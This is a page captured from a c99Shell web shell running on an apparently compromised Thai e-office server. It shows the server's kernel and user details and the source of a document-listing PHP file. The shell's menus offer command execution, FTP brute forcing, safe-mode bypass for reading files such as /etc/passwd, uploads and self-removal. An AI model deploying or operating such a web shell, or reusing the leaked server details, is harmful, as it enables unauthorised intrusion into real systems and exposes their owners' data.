!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSelectDoc_backup.php (13.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?PHP
header
("content-type: application/x-javascript; charset=TIS-620");
?>
<script src="getinfo.js"></script>
<script>
function On_Year(DLCID,MaxDocGroup,DlcPS2,y){
    searchYear=document.ff.searchYear.value;
    if (searchYear.length == 4) {
        ShowInfoReceive(DLCID,MaxDocGroup,DlcPS2);
    }
}
</script>
<?PHP
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDoc6 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
if(
SearchCanSeeAll($oDlc->DlpID)=="All"){   $deptcenter=1;  }
?>
 <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr><td align="right" colspan="4">
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
            <?  if($deptcenter!="1"){   if($s==''){ $s=1;  }     ?>
            รายการหนังสือ
            <select name="s"  onChange="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')" id="s">
            <option value="1" <? if($s=="" || $s=="1"){ echo "selected";   }?>>ที่ลงทะเบียนรับ</option>
            <option value="6" <? if($s=="6"){ echo "selected";   }?>>ที่ไม่ลงทะเบียนรับ</option>
            <option value="7" <? if($s=="7"){ echo "selected";   }?>>ที่แจ้งการส่งผิด</option>  
            </select>
            <br><br>
            <? }else{ ?><input type="hidden" name="s" id="s" value="<? echo $s?>"> <?  ?>
            <b>ค้นหาหนังสือ</b> (เรื่อง/ว่าด้วย)</font>&nbsp;<input name="searchName" id="searchName" type="text" size="25" value="<? echo a2th($searchName); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchName')">&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(ที่/ฉบับที่/ครั้งที่/เลขที่)</font>&nbsp;<input name="searchNo" id="searchNo" type="text" size="20" value="<? echo a2th($searchNo); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchNo')"><br>
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(เลขรับ) จาก</font>&nbsp;<input name="searchTypeNoF" id="searchTypeNoF" type="text" value="<? echo a2th($searchTypeNoF); ?>" size="6" onkeypress="return isNumberKey('<? echo $InputThai?>',event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchTypeNoF')">
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">ถึง</font>&nbsp;<input name="searchTypeNoT" id="searchTypeNoT" type="text" value="<? echo a2th($searchTypeNoT); ?>" size="6" onkeypress="return isNumberKey('<? echo $InputThai?>',event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchTypeNoT')"></td></tr>
                        <tr><td colspan="4">&nbsp;</td></tr>
                <tr><td width="58%">&nbsp;</td><td align="left" height="25"><input name="selectdocdate" id="selectdocdate1" type="radio" value="1" checked onClick="checkradio(1)"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(ประจำเดือน) </font></td><td>    <select name="monthe" id="monthe" onChange="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')">
                <option value="01" <? if($monthe=="01"){ echo "selected";   }?>>ม.ค.</option>
                <option value="02" <? if($monthe=="02"){ echo "selected";   }?>>ก.พ.</option>
                <option value="03" <? if($monthe=="03"){ echo "selected";   }?>>มี.ค.</option>
                <option value="04" <? if($monthe=="04"){ echo "selected";   }?>>เม.ย.</option>
                <option value="05" <? if($monthe=="05"){ echo "selected";   }?>>พ.ค.</option>
                <option value="06" <? if($monthe=="06"){ echo "selected";   }?>>มิ.ย.</option>
                <option value="07" <? if($monthe=="07"){ echo "selected";   }?>>ก.ค.</option>
                <option value="08" <? if($monthe=="08"){ echo "selected";   }?>>ส.ค.</option>
                <option value="09" <? if($monthe=="09"){ echo "selected";   }?>>ก.ย.</option>
                <option value="10" <? if($monthe=="10"){ echo "selected";   }?>>ต.ค.</option>
                <option value="11" <? if($monthe=="11"){ echo "selected";   }?>>พ.ย.</option>
                <option value="12" <? if($monthe=="12"){ echo "selected";   }?>>ธ.ค.</option>
              </select>
                    &nbsp;<input name="searchYear" id="searchYear" type="text" size="5" maxlength="5" value=<? if($searchYear!=""){  echo a2th($searchYear);  }else{  echo a2th(Date('Y')+543); } ?>  onkeypress="return isNumberKey('<? echo $InputThai?>',event)"  onKeyUp="On_Year('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')"  >
                          </td><td>&nbsp;</td></tr>
                <tr valign="middle"><td>&nbsp;</td><td width="20%" align="left" valign="middle"><input name="selectdocdate" id="selectdocdate2" type="radio" value="2" onClick="checkradio(2)"><input name="selectdocdatevalue" id="selectdocdatevalue" type="hidden"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(วันที่ของหนังสือ)</font></td><td width="18%"><script>DateInput('searchdocdate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td><td width="4%"><input name="searchNamesub"  id="searchNamesub" type="button" value="ค้นหา" onClick="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')"></td></tr>

            </table>
         <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse">
             <?  $flagshow=1;?>
              <tr height=22>
                <td width="6%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">เลขรับ</font></td>
                <td width="17%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">ที่</font></td>
                <td width="23%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">จาก/ที่มา (ต้นเรื่อง)</font></td>
                <td width="25%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">เรื่อง</font></td>
                <td width="14%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><?  if($deptcenter=="1"){   echo "ลงวันที่";  }else{   echo "วันที่ได้รับหนังสือ";  } ?></font></td>
                <td width="15%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">วันที่<?  if($deptcenter=="1"){ echo "ลงทะเบียน";  }else{  if($s=="" || $s=="6"){ echo "ไม่";   }   if($s=="7"){  echo "แจ้งการส่งผิด";  }else{  echo "ลงรับหนังสือ";  } }?></font></td>  
            </tr>
            <?
            $numrow
=0
            if(
$deptcenter=="1"){  
                    
$numRow $oDoc3->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDateNoAcceptandAcceptRsID1searchNo($DLCID,$MaxDocGroup,$DlcPS2,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }else{ 
                    
$numRow $oDoc3->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDateNoAcceptandAcceptnoRsID4searchNo($DLCID,$MaxDocGroup,$DlcPS2,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }
            
$z=0;
            if(
$numRow!=0){
                        
$total_page = (int)($numRow/$pgajax);
                        if((
$numRow%$pgajex) != 0)
                            
$total_page++;

                        if(isset(
$page_id))
                            
$start $pgajex*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }
                    
            if(
$deptcenter=="1"){  
                    
$oDoc4->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDateNoAcceptandAcceptLimitDrsReceiveDateRsID1searchNo($DLCID,$MaxDocGroup,$DlcPS2$start$pgajex,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }else{ 
                    
$oDoc4->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDateNoAcceptandAcceptLimitDrsReceiveDatenoRsID4searchNo($DLCID,$MaxDocGroup,$DlcPS2$start$pgajex,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }
            while(
$oDoc4->GetRecord()){ 
            if((
$z%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
            <td height="35" align="center">&nbsp;<? if($s=="6" || $s=="7"){   echo '-'; }else{   echo a2th($oDoc4->DocTypeNo);  } ?></td>
            <td height="35">&nbsp;<? if($oDoc4->DtID!=15){ echo $oDoc4->DocNo; }else{ echo '-'; } ?></td>
            <td><?  
                                    
if($oDoc4->DtID=="1" || $oDoc4->DtID=="2" || $oDoc4->DtID=="14"){
                                                echo 
"&nbsp;".$oDoc4->DocFrom."<br>";
                                    }else{
                                            if(
$oDoc4->DocPID=="0"){
                                                    
$oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord();
                                                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();                            
                                            }else{  
                                                    
$oD_DlcID=$oDoc6->SearchDlcID($oDoc4->DocPID);
                                                    
$oDlc3->SearchByKey($oD_DlcID); $oDlc3->GetRecord();
                                                    
$oDlp->SearchByKey($oDlc3->DlpID);  $oDlp->GetRecord();    
                                            }
                                                    echo 
"&nbsp;".$oDoc4->DocFrom."<br>";
                                                    echo 
"&nbsp;(".$oDlp->DlpName.")";
                                    }
                              
?>
            </td>
            <td align="left">&nbsp;<? echo showeDoc($oDoc4->eDoc); ?><a href="showNoAcceptDoc.php?s=<? echo $s?>&flagshow=<? echo $flagshow?>&DtID=<? echo $oDoc4->DtID;?>&RsID=<? echo $oDoc4->RsID?>&DocID=<?php echo $oDoc4->DocID;?>&DrsID=<? echo $oDoc4->DrsID?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>&deptcenter=<? echo $deptcenter?>"><? if($oDoc4->DtID=="13"){  echo "ชื่อผู้ได้รับการรับรอง<br>".$oDoc4->CertificatePs;  }else{  echo $oDoc4->DocSubject; } ?></a>
                        <?
                            $oDlp1
->SearchByKey($oDlc->DlpID);  
                            
$oDlp1->GetRecord();
                              if(
$oDlp1->DlpPID!="0"){   if($DLCID==$oDoc4->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} 
                              if(
$oDlp1->DlpPID=="0"){   if($DlcPS2==$oDoc4->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} 
                        
?>
            </td>
            <td align="center">
                        <?   
                                 
if($deptcenter=="1"){   
                                        echo 
abbreDate2($oDoc4->DocDate,'/');
                                  }else{  
                                       if(
$s=="" || $s=="6"){ 
                                            list(
$DocD,$DocT) = preg_split('[ ]',$oDoc4->DocDateCreate);
                                            echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                                        }else{
                                            
$or_DrsReceiveDate=$oRs3->SearchDrsReceiveDate($oDoc4->DrsFromDrsID); 
                                            list(
$DocD,$DocT) = preg_split('[ ]',$or_DrsReceiveDate);
                                            echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                                        }
                                    }
                        
?>
            </td>
            <td align="center"> 
                            <? 
                          
if($oDoc4->DrsReceiveDate!="0000-00-00 00:00:00"){
                                     list(
$DocD,$DocT) = preg_split('[ ]',$oDoc4->DrsReceiveDate);
                                    echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                            }
                            
?>
            </td>
            </tr>
            <? $z++;  }  
            }  
// if($numRow!=0)?>
           <? if($z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="8"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือที่<?  if($s=="" || $s=="6" && $deptcenter!="1"){ echo "ไม่";   }   if($s=="7"){  echo "แจ้งการส่งผิด";  }else{  echo "ลงรับ";  } ?> **</font></td></tr>
          <tr height=22 bgcolor="#DADADA"><td align="right" colspan="8">&nbsp;</td></tr>
          <? }else{  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="8"><strong>หน้า-&gt;</strong>
<?php
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                            <a href="receiveDoc.php?page_id=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&s=<? echo $s?>&searchName=<? echo $searchName;?>&searchNo=<?  echo $searchNo?>&deptcenter=<? echo $deptcenter?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
            <? ?>
          </table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0081 ]--